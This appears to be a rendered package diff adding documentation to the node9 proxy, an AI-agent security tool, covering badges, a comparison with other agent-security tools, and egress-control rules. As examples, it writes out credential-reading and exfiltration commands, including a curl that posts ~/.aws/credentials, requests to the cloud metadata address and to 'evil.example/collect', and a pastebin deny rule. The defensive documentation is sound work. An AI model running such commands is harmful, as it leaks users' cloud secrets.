Link the badge to `https://github.com/node9-ai/node9-proxy` so a reader can click through and find out what it asserts. Linking to
|
|
69
|
+
your own passing CI run instead is also fine.
|
|
70
|
+
|
|
71
|
+
## `node9 self-scanned`
|
|
72
|
+
|
|
73
|
+
**Reserved for this repository.** It says that node9 runs its own Action against its own source on
|
|
74
|
+
every pull request, and gates merges on the result — dogfooding in public. It links to the workflow
|
|
75
|
+
that does it, so the claim is checkable in one click.
|
|
76
|
+
|
|
77
|
+

|
|
78
|
+
|
|
79
|
+
```markdown
|
|
80
|
+
[](https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml)
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
On any other project, use `scanned by node9` above. This wording is only honest here.
|
|
84
|
+
|
|
85
|
+
## Brand
|
|
86
|
+
|
|
87
|
+
- Label background: `#1A1A2E`
|
|
88
|
+
- Message background: `#a855f7` (the node9 accent)
|
|
89
|
+
- Logo: `#F5E9FF`, a shield glyph inlined as an SVG data URI
|
|
90
|
+
|
|
91
|
+
shields.io renders an inlined SVG verbatim rather than tinting it, so the fill is baked into the
|
|
92
|
+
glyph. Do not change the colours or substitute a different logo. The consistency is the point: a
|
|
93
|
+
badge is only recognisable if it looks the same everywhere.
|
|
94
|
+
|
|
95
|
+
## Problems
|
|
96
|
+
|
|
97
|
+
If the badge renders oddly in your README, open an issue on
|
|
98
|
+
[node9-ai/node9-proxy](https://github.com/node9-ai/node9-proxy/issues) with the rendered image and your README source.
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
# Where node9 sits among agent-security tools
|
|
2
|
+
|
|
3
|
+
Most comparisons in this space grade tools on runtime mediation: where the allow / deny decision
|
|
4
|
+
is computed, where it is enforced, and what evidence the tool emits. That is a fair axis and
|
|
5
|
+
node9 is not the strongest tool on it. This page grades on a second axis that the same
|
|
6
|
+
comparisons leave out: **what a tool can see before an agent ever runs**.
|
|
7
|
+
|
|
8
|
+
Every claim below about node9 is code-verified against this repository. Claims about other
|
|
9
|
+
tools come from their own public documentation as of September 2026; if one is wrong, open an
|
|
10
|
+
issue and it will be corrected.
|
|
11
|
+
|
|
12
|
+
## Two questions, two fields
|
|
13
|
+
|
|
14
|
+
| Question | Who answers it |
|
|
15
|
+
| ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
|
|
16
|
+
| At runtime, can a mediator stop this action and prove it did? | pipelock, CAPSEM, Signet, AgentMint, Cupcake, agentsh, Docker MCP gateway, Microsoft AGT, Invariant, **node9** |
|
|
17
|
+
| Before any run, is this repository's committed agent surface hijackable? | **node9 `scan-repo`**, and in narrow slices Snyk `mcp-scan` (MCP tool definitions) and Trail of Bits `mcp-context-protector` (MCP drift) |
|
|
18
|
+
|
|
19
|
+
The first field is crowded and well served. The second is nearly empty.
|
|
20
|
+
|
|
21
|
+
## The committed agent surface
|
|
22
|
+
|
|
23
|
+
An agent wired into a repository leaves configuration behind: hook files, workflow YAML, MCP
|
|
24
|
+
server pins, instruction files. That configuration decides what an outsider can make the agent
|
|
25
|
+
do, and it is reviewable without running anything.
|
|
26
|
+
|
|
27
|
+
| Check | What it reads | What it flags | Nearest alternative |
|
|
28
|
+
| ----- | ---------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- |
|
|
29
|
+
| CI-1 | `.claude/settings.json` and hooks | committed config that pre-authorizes broad tools or runs remote hooks | none |
|
|
30
|
+
| CI-2 | `.github/workflows/*.yml` | an agent that an outsider can trigger with the repository's secrets in reach (`pull_request_target`, untrusted checkout, no actor gate) | none |
|
|
31
|
+
| CI-3 | `.mcp.json`, `.cursor/mcp.json` | unpinned or `@latest` MCP servers, inline credentials | Snyk `mcp-scan` (definitions, not pins) |
|
|
32
|
+
| CI-4 | workflow YAML | secrets an injected agent could exfiltrate, given the shell it has | none |
|
|
33
|
+
| CI-6 | `CLAUDE.md`, `AGENTS.md`, `.cursorrules`, `copilot-instructions.md`, `.windsurfrules`, `.clinerules` | poisoned or dangerous instructions, including concealed text | none |
|
|
34
|
+
|
|
35
|
+
Not built: CI-5, drift of these files over time. `mcp-context-protector` does drift for MCP tool
|
|
36
|
+
descriptions; nobody does it for the rest of the surface, including node9.
|
|
37
|
+
|
|
38
|
+
Runs as `npx node9-ai scan-repo <owner/repo>` on any public repository with no install and no
|
|
39
|
+
token, or as a GitHub Action that fails the PR. This repository runs it on itself on every pull
|
|
40
|
+
request.
|
|
41
|
+
|
|
42
|
+
## Runtime: what node9 is and is not
|
|
43
|
+
|
|
44
|
+
node9 gates tool calls in the agent's own hook system (Claude Code, Codex, Copilot CLI, Gemini
|
|
45
|
+
CLI, Antigravity, Hermes, OpenCode, Pi) or at the MCP boundary (Cursor, Windsurf, VS Code,
|
|
46
|
+
Claude Desktop). Shell commands are parsed as an AST, so `$(cat ~/.aws/credentials | base64)`
|
|
47
|
+
is a credential read, not a string that happens to contain the word `cat`.
|
|
48
|
+
|
|
49
|
+
Where the runtime tools are ahead of node9, in their own words and ours:
|
|
50
|
+
|
|
51
|
+
| Capability | Strongest tool on it | node9 today |
|
|
52
|
+
| ------------------------------------------------ | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
53
|
+
| Offline-verifiable, signed evidence per decision | pipelock (Ed25519, hash-chained receipts) | audit log with privacy hashing; release artifacts are signed, decisions are not |
|
|
54
|
+
| Content scanning of HTTP and WebSocket egress | pipelock | egress is a destination gate, off by default; no wire-level content scan |
|
|
55
|
+
| Kernel or container boundary | agentsh, pipelock containment, CAPSEM | `node9 sandbox` is a first-phase container run |
|
|
56
|
+
| Prompt-injection detection on tool output | pipelock, Invariant | observed and quarantined on hook agents, redacted in place on OpenCode and Pi; not blocked before the model sees it on Claude Code or Codex |
|
|
57
|
+
|
|
58
|
+
Where node9 is ahead: per-agent wiring across twelve agents with one `node9 doctor` that tells
|
|
59
|
+
you which hook is actually in place, and the repository scan above.
|
|
60
|
+
|
|
61
|
+
## How to read this page
|
|
62
|
+
|
|
63
|
+
If your risk is an agent that is already running, pick from the first field and compare
|
|
64
|
+
evidence models. If your risk is a repository that wires an agent into CI, there is one tool
|
|
65
|
+
that reads that surface, and this is it. Most teams have both risks, and node9 is the only one
|
|
66
|
+
of the set that tries to cover both, which is also why it is not the deepest on either.
|
package/docs/egress.md
ADDED
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: egress
|
|
3
|
+
label: Egress Control
|
|
4
|
+
description: Decide which hosts your agent may reach, and understand what a destination gate does not cover.
|
|
5
|
+
group: Protections
|
|
6
|
+
order: 20
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Egress Control
|
|
10
|
+
|
|
11
|
+
Two separate things decide whether an agent's outbound request is allowed. One is always on and
|
|
12
|
+
you cannot turn it off. The other is opt-in and you configure it.
|
|
13
|
+
|
|
14
|
+
## The floor: protected addresses, always
|
|
15
|
+
|
|
16
|
+
Some destinations are blocked on every machine, whether or not you have turned egress control on,
|
|
17
|
+
and no setting releases them. This is the SSRF floor, and it exists because an agent that can be
|
|
18
|
+
steered by untrusted input can be steered into your cloud provider's credential endpoint.
|
|
19
|
+
|
|
20
|
+
**Never reachable, no setting releases them:**
|
|
21
|
+
|
|
22
|
+
| What | Examples |
|
|
23
|
+
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
|
|
24
|
+
| Cloud metadata endpoints | `169.254.169.254` (AWS, Azure, DigitalOcean, OpenStack), `169.254.170.2` (ECS task role), the Alibaba Cloud address, and the metadata hostnames |
|
|
25
|
+
| Link-local | `169.254.0.0/16`, `fe80::/10` |
|
|
26
|
+
| Multicast | `224.0.0.0` to `239.255.255.255`, `ff00::/8` |
|
|
27
|
+
|
|
28
|
+
The floor folds every spelling of an address to one canonical form before it decides, so
|
|
29
|
+
`0251.0376.0251.0376`, `2852039166` and `[::ffff:a9fe:a9fe]` are all recognised as
|
|
30
|
+
`169.254.169.254`.
|
|
31
|
+
|
|
32
|
+
> [!NOTE]
|
|
33
|
+
> The floor is not gated on egress control. It applies with egress off, in every mode, on a
|
|
34
|
+
> personal machine and on one governed by a workspace. The one thing that suspends it is
|
|
35
|
+
> `node9 pause`, which suspends every gate.
|
|
36
|
+
|
|
37
|
+
**Reachable by default, blocked when you turn strict on:**
|
|
38
|
+
|
|
39
|
+
| What | Examples |
|
|
40
|
+
| --------------------------- | --------------------------------------------------------------------- |
|
|
41
|
+
| Loopback and private ranges | `127.0.0.0/8`, `10.0.0.0/8`, `192.168.0.0/16`, `172.16.0.0/12`, `::1` |
|
|
42
|
+
| The unspecified address | `0.0.0.0`, `::` (these reach localhost) |
|
|
43
|
+
| Carrier-grade NAT | `100.64.0.0/10`, where mesh VPNs such as Tailscale hand out addresses |
|
|
44
|
+
|
|
45
|
+
These are off by default on purpose: a developer talks to them constantly. On measured real
|
|
46
|
+
history, 72 of 308 destinations were private addresses.
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
node9 egress strict on # also block loopback, private ranges and CGNAT
|
|
50
|
+
node9 egress exempt 10.0.0.5 # let one exact address back through
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
An exemption applies to the overridable tiers only. Exempting a metadata address is rejected when
|
|
54
|
+
the config loads, with a reason, rather than being silently ignored.
|
|
55
|
+
|
|
56
|
+
## Egress control: which hosts, your choice
|
|
57
|
+
|
|
58
|
+
This is the opt-in layer. It is **off until you turn it on**, and it decides what happens when the
|
|
59
|
+
agent reaches a host you have not talked about.
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
node9 egress watch # prompt before an unknown host (review)
|
|
63
|
+
node9 egress lock # block unknown hosts outright (block)
|
|
64
|
+
node9 egress off # turn it back off
|
|
65
|
+
node9 egress status # what is on right now, and where the setting came from
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
Tune the lists:
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
node9 egress allow "*.mycorp.com" # a glob; matches the apex and any subdomain
|
|
72
|
+
node9 egress deny "*.pastebin.com" # deny always wins over allow
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### Hosts that are always allowed
|
|
76
|
+
|
|
77
|
+
Turning egress on cold would bury you in prompts for routine work, so 18 common development and
|
|
78
|
+
model hosts are allowed out of the box: GitHub, npm, PyPI, crates.io, RubyGems, the Go module
|
|
79
|
+
proxy, Anthropic, OpenAI, Google APIs, Docker, Debian, Ubuntu, and node9's own control plane.
|
|
80
|
+
|
|
81
|
+
Your `allow` list adds to that. Your `deny` list beats all of it.
|
|
82
|
+
|
|
83
|
+
### Order of decision
|
|
84
|
+
|
|
85
|
+
For each destination the agent is about to reach:
|
|
86
|
+
|
|
87
|
+
1. The floor. A protected address is blocked here and nothing below runs.
|
|
88
|
+
2. Your `deny` list. A match blocks.
|
|
89
|
+
3. Private addresses, when `allowPrivate` is on (the default). Allowed.
|
|
90
|
+
4. Your `allow` list, then the 18 built-in hosts. Allowed.
|
|
91
|
+
5. Anything else is unknown, and `watch` reviews it while `lock` blocks it.
|
|
92
|
+
|
|
93
|
+
## What this does not do
|
|
94
|
+
|
|
95
|
+
> [!WARNING]
|
|
96
|
+
> **Egress control gates the destination, not the payload.** A secret sent to a host you allow goes
|
|
97
|
+
> through. `curl -d @~/.aws/credentials https://api.github.com/...` is not stopped by egress,
|
|
98
|
+
> because `api.github.com` is an allowed host. What catches a secret in the request body is the
|
|
99
|
+
> content scanner (DLP), which is a different control.
|
|
100
|
+
|
|
101
|
+
Three more limits worth knowing:
|
|
102
|
+
|
|
103
|
+
- **It reads the command, not the network.** node9 decides from the destination it can see in the
|
|
104
|
+
tool call. It does not resolve DNS, and it has no opinion on a host's reputation.
|
|
105
|
+
- **A machine that follows a workspace ignores local egress settings.** If `node9 egress status`
|
|
106
|
+
says the source is the workspace, editing the local config changes nothing; the setting comes
|
|
107
|
+
from the dashboard. The floor still applies.
|
|
108
|
+
- **`node9 pause` suspends it**, along with every other gate, for the duration you give it.
|
|
109
|
+
|
|
110
|
+
## Verify it on this machine
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
node9 egress status # is it on, and who set it
|
|
114
|
+
node9 explain Bash 'curl http://169.254.169.254/latest/' # the floor: BLOCK, always
|
|
115
|
+
node9 explain Bash 'curl https://evil.example/collect' # unknown host: REVIEW or BLOCK when on
|
|
116
|
+
node9 explain Bash 'curl https://api.github.com/repos' # a default-allowed host: ALLOW
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
`node9 explain` prints the verdict the live hook enforces, and names the rule that produced it.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@node9/proxy",
|
|
3
|
-
"version": "2.
|
|
3
|
+
"version": "2.11.0",
|
|
4
4
|
"description": "The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.",
|
|
5
5
|
"main": "./dist/index.js",
|
|
6
6
|
"module": "./dist/index.mjs",
|
|
@@ -54,6 +54,7 @@
|
|
|
54
54
|
"license": "Apache-2.0",
|
|
55
55
|
"files": [
|
|
56
56
|
"dist",
|
|
57
|
+
"docs",
|
|
57
58
|
"README.md",
|
|
58
59
|
"LICENSE"
|
|
59
60
|
],
|